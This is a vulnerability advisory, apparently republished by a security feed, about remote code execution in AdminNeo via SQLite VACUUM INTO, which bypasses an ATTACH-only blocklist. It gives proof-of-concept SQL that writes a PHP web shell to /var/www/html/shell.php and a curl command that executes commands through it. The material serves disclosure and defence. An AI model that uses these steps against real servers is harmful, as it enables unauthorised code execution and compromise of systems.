AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension.

What happened

Summary

Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Root Cause

Continue reading

sql.inc.php, line 146:

if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
 // blocked
}

Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

1. Login to SQLite

1. Open AdminNeo and select driver: SQLite 2. Login and create a new database (e.g., stage.db)

2. Inject PHP code and write the shell

Navigate to SQL command and execute:

CREATE TABLE " " (i int);
VACUUM INTO '/var/www/html/shell.php';

The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.

3. Execute commands

curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

About this data

This record was ingested from a data source. Retrieved: Oct 31, 2026, 00:50 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.
